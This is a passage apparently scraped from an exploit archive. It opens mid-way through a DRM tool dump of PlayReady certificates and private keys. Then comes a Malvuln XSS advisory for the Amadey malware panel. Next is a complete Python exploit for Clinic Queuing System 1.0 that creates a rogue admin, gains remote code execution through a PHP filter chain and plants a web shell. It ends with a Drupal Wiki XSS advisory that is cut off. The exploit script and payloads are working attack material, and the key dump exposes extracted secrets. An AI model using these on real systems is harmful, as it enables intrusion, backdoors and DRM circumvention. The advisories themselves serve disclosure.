61 09 85 bb d3 4e e8 58 20 .,M..h.a....N.X. 0070: e2 0c c9 bc a9 a8 1e b7 f6 59 65 7d 00 62 e4 7a .........Ye}.b.z 0080: 4a 93 87 21 00 00 00 20 93 de eb 4b ab b4 b2 c1 J..!.......K.... 0090: 71 9b 3c fc cf a8 b9 7e f2 a9 4f e1 07 39 17 fd q.<.......O..9.. 00a0: 23 10 72 8a 29 95 bf d8 00 01 10 11 00 00 00 3c #.r.)..........< 00b0: 00 02 00 80 2d 82 c1 90 50 2c e7 55 00 00 00 10 ....-...P,.U.... 00c0: 8f 03 13 45 06 c3 b4 3e fb 7f 1d 77 e8 ca 2d 07 ...E...>...w..-. 00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00e0: 00 00 00 00 .... attr: 1009 Identities IdentityInfo pubkey 0000: f0 34 a0 f4 28 79 dc a4 73 88 c8 fa a6 46 40 94 .4..(y..s....F@. 0010: ef 10 f7 4b f4 42 5e 2e 51 c1 08 67 9d 9a 4b 2e ...K.B^.Q..g..K. 0020: af 2b ed 89 8e dd bb eb 1b ad 68 df 9c 33 d2 8b .+........h..3.. 0030: 1d f3 a5 77 1a d2 a0 a3 b9 4d 83 6d 24 a4 2a 03 ...w.....M.m$.*. prvkey 0000: 31 d5 b7 ab dd 28 44 52 3b 8a ac 6c e2 c5 4e 34 1....(DR;..l..N4 0010: 61 1d 97 8f e1 4f 63 e9 c0 14 8a 83 6c 5f 3f cc a....Oc.....l_?. IdentityInfo pubkey 0000: 42 b2 a0 ff 38 1c 34 cc 67 06 3b 50 e1 2e 0d de B...8.4.g.;P.... 0010: 74 49 55 29 38 ef 66 0c 60 5c 90 9f 8c b0 49 43 tIU)8.f.......IC 0020: 0f e7 a8 1f 2f 67 5a b2 90 5c 3e 2e 99 62 19 b4 ..../gZ...>..b.. 0030: 4a 39 8b 23 64 5e 4c d7 cc 95 38 bd 3c d3 2b f7 J9.#d^L...8.<.+. prvkey 0000: d7 60 5c 71 57 a0 01 7c 58 e2 e7 79 a8 b1 12 55 ...qW..|X..y...U 0010: 1d 72 14 f0 d9 2c ef 04 6c cc 57 c1 2e 9b e3 b4 .r...,..l.W..... IdentityInfo pubkey 0000: cb 27 6f 9f 9f 76 46 64 54 23 19 ef 9c c7 69 0f .'o..vFdT#....i. 0010: 9c 3b e3 75 8b d3 78 2a 8d 03 fb a8 bf 9e 1c 6d .;.u..x*.......m 0020: f7 10 1c 69 94 2c 4d 07 d9 68 8b 61 09 85 bb d3 ...i.,M..h.a.... 0030: 4e e8 58 20 e2 0c c9 bc a9 a8 1e b7 f6 59 65 7d N.X..........Ye} prvkey 0000: 4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68 L3........1k@..h 0010: 32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc 2.h..;.e..<..b.. 0020: 11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05 ..Q{.s..$.q3.v.. 0030: 44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c D-N.y??.zNMQ.x.< 0040: 6b k IdentityCertChain CERT CHAIN: ### CERT - random 0000: 07 80 59 24 9a b6 7e 48 c3 7f 6d 38 30 af f0 b6 ..Y$...H..m80... - seclevel 2000 - uniqueid 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ - pubkey_sign 0000: 42 b2 a0 ff 38 1c 34 cc 67 06 3b 50 e1 2e 0d de B...8.4.g.;P.... 0010: 74 49 55 29 38 ef 66 0c 60 5c 90 9f 8c b0 49 43 tIU)8.f.......IC 0020: 0f e7 a8 1f 2f 67 5a b2 90 5c 3e 2e 99 62 19 b4 ..../gZ...>..b.. 0030: 4a 39 8b 23 64 5e 4c d7 cc 95 38 bd 3c d3 2b f7 J9.#d^L...8.<.+. - pubkey_enc 0000: cb 27 6f 9f 9f 76 46 64 54 23 19 ef 9c c7 69 0f .'o..vFdT#....i. 0010: 9c 3b e3 75 8b d3 78 2a 8d 03 fb a8 bf 9e 1c 6d .;.u..x*.......m 0020: f7 10 1c 69 94 2c 4d 07 d9 68 8b 61 09 85 bb d3 ...i.,M..h.a.... 0030: 4e e8 58 20 e2 0c c9 bc a9 a8 1e b7 f6 59 65 7d N.X..........Ye} - digest 0000: c5 c4 33 e5 4e b0 c5 b3 5b e9 89 9b de 89 b4 cd ..3.N...[....... 0010: e5 e1 c3 bb 80 c3 88 87 17 40 95 0b 3a 82 cc 89 .........@..:... - signature 0000: 23 ce 2a 20 50 24 8f 32 3d 5a 08 5c 88 dd 65 dd #.*.P$.2=Z....e. 0010: 93 66 be ec 7a d5 c6 39 80 66 c1 f5 36 4e b7 08 .f..z..9.f..6N.. 0020: 9d 7b 59 05 79 3b 49 08 4f 94 af 7f b8 96 4e 81 .{Y.y;I.O.....N. 0030: bd ff fe 38 61 d8 08 90 96 2c b6 32 ee ba 75 5f ...8a....,.2..u_ - signkey 0000: 59 86 b7 a2 a9 d6 b3 06 1f 5d 20 08 f6 97 ee f5 Y........]...... 0010: bc c6 15 cb e6 4e f9 60 7a 83 55 3d c0 3a 21 b6 .....N..z.U=.:!. 0020: d4 c7 33 e2 71 7e 1c ad 00 e5 20 70 87 64 66 9e ..3.q......p.df. 0030: ee 5f 4d 78 b1 c6 42 3a f9 6f af 6a 44 cf ef 3d ._Mx..B:.o.jD..= - sig status: BAD SIGNATURE ### CERT - names * Microsoft * Windows * 6.4.9.000 - random 0000: 28 37 b2 3d a4 70 a4 7f f0 8c 69 78 3c 6c 38 cd (7.=.p....ix<l8. - seclevel 2000 - uniqueid 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ - pubkey_sign 0000: 59 86 b7 a2 a9 d6 b3 06 1f 5d 20 08 f6 97 ee f5 Y........]...... 0010: bc c6 15 cb e6 4e f9 60 7a 83 55 3d c0 3a 21 b6 .....N..z.U=.:!. 0020: d4 c7 33 e2 71 7e 1c ad 00 e5 20 70 87 64 66 9e ..3.q......p.df. 0030: ee 5f 4d 78 b1 c6 42 3a f9 6f af 6a 44 cf ef 3d ._Mx..B:.o.jD..= - digest 0000: 68 d5 b6 78 9c 6c c4 63 36 50 62 4a cc 20 c0 08 h..x.l.c6PbJ.... 0010: 16 1b 0a e9 31 0c 68 97 dc eb 1a 41 1b df 6b 75 ....1.h....A..ku - signature 0000: c2 a3 13 ec e8 a9 f0 77 70 df 3d 8b 2b ed 08 68 .......wp.=.+..h 0010: b0 79 c9 d2 40 84 26 a9 1d 16 00 4a 73 76 81 c7 .y..@.&....Jsv.. 0020: aa 1f 75 78 6d 17 20 6e 15 e1 8f 2d 39 c8 db 05 ..uxm..n...-9... 0030: 00 0d b5 6f 88 27 04 ed a4 8f 24 7f c7 f7 da b4 ...o.'....$..... - signkey 0000: e7 3a 1b a7 c0 65 9e 6d 2f 45 5c 9d 80 91 cc da .:...e.m/E...... 0010: 96 c9 63 6b 4f 63 a1 78 18 f5 54 e4 bd 19 97 14 ..ckOc.x..T..... 0020: 81 07 fe d9 8a bf 0e 6b 8e 96 81 58 e6 90 7c a7 .......k...X..|. 0030: df 1d 66 cf a3 58 f7 7b 1c 4e 62 d0 28 11 56 9c ..f..X.{.Nb.(.V. - sig status: OK ### CERT - names * Microsoft * PlayReady SL2000 Device Port- Windows Lib Codebase Version CA * 1.0.0.4 - random 0000: db 51 85 24 63 ac 07 0b aa c9 91 f9 c4 0a 07 2a .Q.$c..........* - seclevel 2000 - uniqueid 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ - pubkey_sign 0000: e7 3a 1b a7 c0 65 9e 6d 2f 45 5c 9d 80 91 cc da .:...e.m/E...... 0010: 96 c9 63 6b 4f 63 a1 78 18 f5 54 e4 bd 19 97 14 ..ckOc.x..T..... 0020: 81 07 fe d9 8a bf 0e 6b 8e 96 81 58 e6 90 7c a7 .......k...X..|. 0030: df 1d 66 cf a3 58 f7 7b 1c 4e 62 d0 28 11 56 9c ..f..X.{.Nb.(.V. - digest 0000: 63 70 b4 92 33 b1 cf 78 7f 9e 36 01 29 e0 29 b2 cp..3..x..6.).). 0010: f7 cf b1 cc 0b 71 5d 6a 02 24 df 01 75 d2 2f 0e .....q]j.$..u./. - signature 0000: 99 f3 5b 4b 55 a8 8d a8 bd 18 db 94 8e b0 31 1f ..[KU.........1. 0010: 14 a4 43 41 64 f7 fd 81 cd 1e 57 68 0e f1 2c 40 ..CAd.....Wh..,@ 0020: c4 c2 19 20 78 37 41 07 c1 e3 54 ec fb 64 19 18 ....x7A...T..d.. 0030: 13 5b 2c 5a 34 7f 1f 48 7a 88 5a 02 33 e5 b9 76 .[,Z4..Hz.Z.3..v - signkey 0000: 7d 91 d4 6d 44 f0 29 2a bd b9 72 d7 9b dc bc f8 }..mD.)*..r..... 0010: 35 ad 17 27 cb c8 35 37 7e 91 43 58 44 f9 1b 3f 5..'..57..CXD..? 0020: 71 be 7c 6b 04 0d bf d4 f7 80 8b 7a 0c 47 f7 82 q.|k.......z.G.. 0030: 30 2b 9c 29 5f 05 eb c3 92 71 f5 47 88 41 fd 1b 0+.)_....q.G.A.. - sig status: OK ### CERT - names * Microsoft * PlayReady SL2000 Device Port - Windows Platform CA for x86/amd64 * 1.0.0.3 - random 0000: 4a ee c4 a0 0d c9 57 ab 14 52 de 28 54 42 f3 84 J.....W..R.(TB.. - seclevel 2000 - uniqueid 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ - pubkey_sign 0000: 7d 91 d4 6d 44 f0 29 2a bd b9 72 d7 9b dc bc f8 }..mD.)*..r..... 0010: 35 ad 17 27 cb c8 35 37 7e 91 43 58 44 f9 1b 3f 5..'..57..CXD..? 0020: 71 be 7c 6b 04 0d bf d4 f7 80 8b 7a 0c 47 f7 82 q.|k.......z.G.. 0030: 30 2b 9c 29 5f 05 eb c3 92 71 f5 47 88 41 fd 1b 0+.)_....q.G.A.. - digest 0000: 2f ad a9 0e 8f 7e 82 47 7a 2e 82 c3 6d 0c 20 c7 /......Gz...m... 0010: 0b 58 95 d7 2e 85 21 28 83 b1 9c 27 0b 49 dc 21 .X....!(...'.I.! - signature 0000: 9e fb bf 14 68 cc 5e 0f db 21 7d 11 dc 67 4a 23 ....h.^..!}..gJ# 0010: 71 c7 ac 34 73 bb 48 ee a3 33 c3 c9 55 62 2e c2 q..4s.H..3..Ub.. 0020: bb 36 01 af cd dc 88 48 01 fa d2 2b 4b 3f e3 75 .6.....H...+K?.u 0030: 48 44 98 40 9d db 53 0f 44 25 a5 65 fd 29 61 7e HD.@..S.D%.e.)a. - signkey 0000: a1 87 e3 42 5c 05 f7 a4 52 85 d6 fe c8 17 f7 3b ...B....R......; 0010: 69 64 74 e2 b9 e1 61 4b a3 fa 51 b9 ad fe 9d 27 idt...aK..Q....' 0020: 3f 6a 4e 50 75 e0 1d f2 ab 18 61 e7 c2 e1 9b d2 ?jNPu.....a..... 0030: 87 99 86 8f 97 f7 cb a2 1d 97 73 19 ba b8 be 92 ..........s..... - sig status: OK ### CERT - names * Microsoft * PlayReady SL2000 Device Port + Link CA * 1.0.0.1 - random 0000: ec aa b6 cd 0b 16 ca df e9 a8 82 52 b4 58 9c a9 ...........R.X.. - seclevel 2000 - uniqueid 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ - pubkey_sign 0000: a1 87 e3 42 5c 05 f7 a4 52 85 d6 fe c8 17 f7 3b ...B....R......; 0010: 69 64 74 e2 b9 e1 61 4b a3 fa 51 b9 ad fe 9d 27 idt...aK..Q....' 0020: 3f 6a 4e 50 75 e0 1d f2 ab 18 61 e7 c2 e1 9b d2 ?jNPu.....a..... 0030: 87 99 86 8f 97 f7 cb a2 1d 97 73 19 ba b8 be 92 ..........s..... - digest 0000: ed 0f 33 d6 b4 ab f0 8d c0 1a 47 1f d0 13 68 0e ..3.......G...h. 0010: 0c 12 e3 a9 ce d3 00 f9 9b 45 af 61 f1 68 4d 64 .........E.a.hMd - signature 0000: 31 60 bc 8c 1f 0e 5e fe ea 80 83 79 b4 ad 02 74 1.....^....y...t 0010: f1 c9 20 f9 c8 93 f0 ca 5c c7 72 e6 5c 97 8e 88 ..........r..... 0020: a8 9f c5 b0 7b b6 d0 8f 50 33 20 fa 34 03 4a ea ....{...P3..4.J. 0030: 68 91 01 d2 f0 cb 0f fa 4d 51 5c 25 93 c8 c2 12 h.......MQ.%.... - signkey 0000: 86 4d 61 cf f2 25 6e 42 2c 56 8b 3c 28 00 1c fb .Ma..%nB,V.<(... 0010: 3e 15 27 65 85 84 ba 05 21 b7 9b 18 28 d9 36 de >.'e....!...(.6. 0020: 1d 82 6a 8f c3 e6 e7 fa 7a 90 d5 ca 29 46 f1 f6 ..j.....z...)F.. 0030: 4a 2e fb 9f 5d cf fe 7e 43 4e b4 42 93 fa c5 ab J...]...CN.B.... - sig status: OK attr: 1010 Unknown data 0000: 00 02 00 80 2d 82 c1 90 50 2c e7 55 00 00 00 10 ....-...P,.U.... 0010: 9e 53 d0 8b 82 43 90 08 bb f4 25 2d 06 1d 79 0e .S...C....%-..y. 0020: b1 ff 09 8d 5a 7c 52 4d ae 22 40 b0 5e c8 4d 33 ....Z|RM."@.^.M3 0030: 00 05 00 00 .... attr: 1013 Unknown data 0000: 00 00 00 01 00 00 00 10 30 b3 3e b8 a1 31 ae 42 ........0.>..1.B 0010: ab 0d 43 74 c5 15 cd e0 ..Ct.... attr: 1014 Unknown data 0000: 19 ec 66 7f 93 64 89 46 95 47 89 1d a5 37 12 f1 ..f..d.F.G...7.. SignerCertChain CERT CHAIN: ### CERT - names * Microsoft * Microsoft KeyFileSigner * 1.0.0.1 - random 0000: f0 6a b7 09 88 a4 c7 c8 1d f9 5c 6d cd e4 ab 52 .j.........m...R - seclevel 2000 - uniqueid 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ - pubkey_sign 0000: 97 41 fa 59 bd 5e b8 22 80 b2 a9 e2 dd e5 70 87 .A.Y.^."......p. 0010: ce 91 07 e4 3b 12 81 69 fb a9 94 48 37 f4 9e 46 ....;..i...H7..F 0020: bb b7 11 b9 8f 4e c8 17 96 50 9d 05 f5 98 f7 a7 .....N...P...... 0030: 5c 44 56 2d 4d 2a c3 4d 48 1a c7 4a 1d 48 16 c4 .DV-M*.MH..J.H.. - digest 0000: b9 e0 29 a8 59 21 9c de c1 b5 75 58 4c e6 6d e3 ..).Y!....uXL.m. 0010: 08 8c 3e 43 05 14 26 fa 8d c0 3e a5 df f3 df bc ..>C..&...>..... - signature 0000: c8 b0 b2 4d 59 da e8 2b a5 b1 ac 61 95 54 85 ea ...MY..+...a.T.. 0010: 32 a1 19 5f 45 9c 0d 54 a0 cf 43 86 54 64 41 c0 2.._E..T..C.TdA. 0020: 8a 02 e7 0d e1 49 aa 40 26 61 a9 e0 b8 77 d9 ac .....I.@&a...w.. 0030: 1e 2d 3f 2c 7f 7c 29 82 74 c3 74 f9 11 5d f0 81 .-?,.|).t.t..].. - signkey 0000: af 6f af 3a 41 e4 a2 b9 eb cd 8c 95 a5 05 9b 11 .o.:A........... 0010: 38 a3 97 2a 1e c0 72 e3 24 52 78 b9 b5 49 28 f3 8..*..r.$Rx..I(. 0020: e0 28 3e 78 51 5d eb 6f 56 93 1a 5a 28 f3 aa b3 .(>xQ].oV..Z(... 0030: 04 c7 1f b5 b4 c7 f4 92 59 ed 21 f8 65 14 ec 33 ........Y.!.e..3 - sig status: OK ### CERT - names * Microsoft * PlayReady SL2000 KeyFileSigner Root CA * 1.0.0.1 - random 0000: d6 ac 35 b4 d8 5d b4 30 74 0c ac 05 ea 0c 1e 86 ..5..].0t....... - seclevel 2000 - uniqueid 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ - pubkey_sign 0000: af 6f af 3a 41 e4 a2 b9 eb cd 8c 95 a5 05 9b 11 .o.:A........... 0010: 38 a3 97 2a 1e c0 72 e3 24 52 78 b9 b5 49 28 f3 8..*..r.$Rx..I(. 0020: e0 28 3e 78 51 5d eb 6f 56 93 1a 5a 28 f3 aa b3 .(>xQ].oV..Z(... 0030: 04 c7 1f b5 b4 c7 f4 92 59 ed 21 f8 65 14 ec 33 ........Y.!.e..3 - digest 0000: 71 01 a1 dd 80 f2 79 7a 2e 3c f2 f6 b9 bf 78 b0 q.....yz.<....x. 0010: ed 65 93 d5 42 cf 17 d4 0a c7 fa b0 18 82 3b 2f .e..B.........;/ - signature 0000: af 18 1d 1a 7d 98 92 c5 df 3e ac b3 2a 17 d2 29 ....}....>..*..) 0010: 92 e9 7f 4c 0f b1 5a 3d bd 91 d9 e2 bb b9 34 87 ...L..Z=......4. 0020: e7 9b 00 bb 78 02 1f 5c a8 e0 f2 e0 0b d3 f9 b5 ....x........... 0030: 1a c5 e6 fe dd cd b4 1c 3f d7 89 d1 62 6a 5a 0b ........?...bjZ. - signkey 0000: 86 4d 61 cf f2 25 6e 42 2c 56 8b 3c 28 00 1c fb .Ma..%nB,V.<(... 0010: 3e 15 27 65 85 84 ba 05 21 b7 9b 18 28 d9 36 de >.'e....!...(.6. 0020: 1d 82 6a 8f c3 e6 e7 fa 7a 90 d5 ca 29 46 f1 f6 ..j.....z...)F.. 0030: 4a 2e fb 9f 5d cf fe 7e 43 4e b4 42 93 fa c5 ab J...]...CN.B.... - sig status: OK msprcp> identity 0C86330B0E98CD7C586F336088DAFA0E -e 0C86330B0E98CD7C586F336088DAFA0E 0C86330B0E98CD7C586F336088DAFA0E.enc.pub (public encryption key) 0C86330B0E98CD7C586F336088DAFA0E.enc.prv (private encryption key) 0C86330B0E98CD7C586F336088DAFA0E.sig.pub (public signing key) 0C86330B0E98CD7C586F336088DAFA0E.sig.prv (private signing key) msprcp> checkkeypair 0C86330B0E98CD7C586F336088DAFA0E.enc.prv.plain 0C86330B0E98CD7C586F336088DAFA0E.enc.pub KEY CHECK: - prv: 7704db9c130887d60a2c61b1891bbad64676ba56fe146fc6ecc2be993c1cb53d - pub: X: cb276f9f9f764664542319ef9cc7690f9c3be3758bd3782a8d03fba8bf9e1c6d Y: f7101c69942c4d07d9688b610985bbd34ee85820e20cc9bca9a81eb7f659657d KEY CHECK OK msprcp> </code></pre>

<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/50467c891bf7de34d2d65fa93ab8b558.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Panel Amadey.d.c Vulnerability: Cross Site Scripting (XSS) Family: Amadey Type: Web Panel MD5: 50467c891bf7de34d2d65fa93ab8b558 (Login.php) SHA256: 65623eead2bcba66817861246e842386d712c38c5c5558e50eb49cffa2a1035d Vuln ID: MVID-2024-0680 Disclosure: 05/09/2024 Description: The Amadey C2 web panel is written in PHP for remote administration capability. The Login.php webpage accepts HTTP GET "l" and "p" parameters which are passed to the backend server side code: $_GET["l"] name=\"login\", $_GET["p"] , name=\"password\". However, there is no secure coding practice of filtering input or sanitization of output. Panel users who visit a third-party attacker website or click an infected link, can trigger arbitrary client side JS code execution in the security context of the current user. This can result in data theft or GEO location disclosure of the user accessing the Amadey web interface. The submit button contains the text "Unlock". Entering incorrect password results in URI of "?wrong=1" and displays "Wrong login or password", after a few seconds delay redirects back to Login.php. http://127.0.0.1/Panel.Amadey.d.c/Login.php?wrong=1 Wrong login or password The web panel HTML source code for the URL "Login.php?wrong=1" contains the letters "CC" plus the Domain/IP within brackets[x.x.x.x] within the HTML title tag. %3Ctitle%3E CC [127.0.0.1] %3C/title%3E Tested successfully in Firefox. Exploit/PoC: Vulnerable parameters: "l" and "p" http://x.x.x.x/Panel.Amadey.d.c/Login.php?l=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://x.x.x.x/Panel.Amadey.d.c/Login.php?p=%22/%3E%3Cscript%3Ealert(666)%3C/script%3E Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code># Exploit Title: Clinic Queuing System 1.0 RCE # Date: 2024/1/7 # Exploit Author: Juan Marco Sanchez # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/16439/clinic-queuing-system-using-php-and-sqlite3-source-code-free-download.html # Version: 1.0 # Tested on: Debian Linux Apache Web Server # CVE: CVE-2024-0264 and CVE-2024-0265 import requests import random import argparse from bs4 import BeautifulSoup parser = argparse.ArgumentParser() parser.add_argument("target") args = parser.parse_args() base_url = args.target phase1_url = base_url + '/LoginRegistration.php?a=save_user' phase2_url = base_url + '/LoginRegistration.php?a=login' filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=home" def phase1(): # CVE-2024-0264 rand_user = 'pwn_'+str(random.randint(100, 313)) rand_pass = 'pwn_'+str(random.randint(100, 313)) pwn_user_data = {'formToken':'','fullname':'pwn!','username':rand_user,'password':rand_pass,'status':1,'type':1} print("[*] adding administrator " + rand_user + ":" + rand_pass) phase1 = requests.post(phase1_url, pwn_user_data) if "User Account has been added successfully." in phase1.text: print("[+] Phase 1 Success - Admin user added!\n") print("[*] Initiating Phase 2") phase2(rand_user, rand_pass) else: print("[X] user creation failed :(") die() def phase2(user, password): # CVE-2024-0265 s = requests.Session(); login_data = {'formToken':'','username':user, 'password':password} print("[*] Loggin in....") phase2 = s.post(phase2_url, login_data) if "Login successfully." in phase2.text: print("[+] Login success") else: print("[X] Login failed.") die() print("[+] Preparing for RCE via LFI PHP FIlter Chaining...\n") rce_url = base_url + "/?page=" + filter_chain + "&0=echo '|jmrcsnchz|<pre>'.shell_exec('id').'</pre>';" #print("[*] Payload: " + rce_url) rce = s.get(rce_url) if "jmrcsnchz" in rce.text: print("[+] RCE success!") soup = BeautifulSoup(rce.text, 'html.parser') print("[+] Output of id: " + soup.pre.get_text()) print("[*] Uploading php backdoor....") s.get(base_url + "/?page=" + filter_chain + "&0=file_put_contents('rce.php',base64_decode('PD89YCRfR0VUWzBdYD8%2b'));") print("[+] Access at " + base_url + "/rce.php?0=whoami") else: print("[X] Exploit failed. Try debugging the script or pass this script onto a proxy to investigate.") die() try: print("[*] Initiating Phase 1") phase1() except: print("Exploit failed.") </code></pre>

<pre><code>-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 secuvera-SA-2024-02: Multiple Persistent Cross-Site Scritping (XSS) flaws in Drupal-Wiki Affected Products Drupal Wiki 8.31 Drupal Wiki 8.30 (older releases have not been tested) References https://www.secuvera.de/advisories/secuvera-SA-2024-02.txt (used for updates) CVE-2024-34481 CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS-B: 6.4 ( CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N ) https://drupal-wiki.com/drupal-wiki-update-8-31/ (Vendor 1st Fix Release Notes) Summary: According to the Product Website Drupal-Wiki is an enterprise grade Wiki platform. The comment function of a Drupal-Wiki-Page is prone to persistent Cross-Site Scritping Attacks (persistent XSS). Effect: A remote attacker that is allowed to edit a wiki page or comment to a wiki page is able to execute arbitrary (javascript) code within a victims' browser after the victim has opened a wiki page with malicous comments or content. Example: 1) XSS in comments to a Wiki Page The Following steps are needed to exploit the vulnerability on a Wiki-Page assuming that no login is needed to comment on a page. 1. Go to an arbitrary Wiki-Page. 2. Click on "submit comment" at the lower end of a Wiki Page 3. Enter the following into the comment form overlay and click on the "save" button: "'><img src=x onError=alert('XSS!')> The above code creates a harmless JavaScript alert box whenever the Wiki-Page gets loaded. 2) XSS in captions: Open a Wiki-Page, insert a caption with the payload from example 1) and save it. 3) XSS in image titles Open a Wiki-Page, insert an image with the payload from example 1) as title and save it. Solution Update to release 8.31.1 or newer. Disclosure Timeline: 2024/03/20 vulnerability discovered 2024/03/21 vendor contacted to get security contact details 2024/03/21 vendor replied with contact information 2024/03/21 vulnerability details sent to security contact 2024/03/21 vendor confirmed vulnerability, proposed fix in next release update 2024/03/25 vendor release update containing fix. 2024/03/27 requested CVE-ID, reworked CVSS, tested fix. First fix not fully remediating all issues, contacted vendor again to inform about fix test results. 2024/03/27 vendor replied confirming and proposed second fix with new update. planned publication of the SA for 2024/04/14 2024/04/14 postponed public release as assign request of cve was not answered yet. 2024/05/06 CVE was assigned. Public release. Credits: Simon Bieber sbieber@secuvera.de secuvera GmbH https://www.secuvera.de Disclaimer: All information is provided without warranty. The intent is to provide information to secure infrastructure and/or systems, not to be able to attack or damage. Therefore secuvera shall not be liable for any direct or indirect damages that might be caused by using this information. -----BEGIN PGP 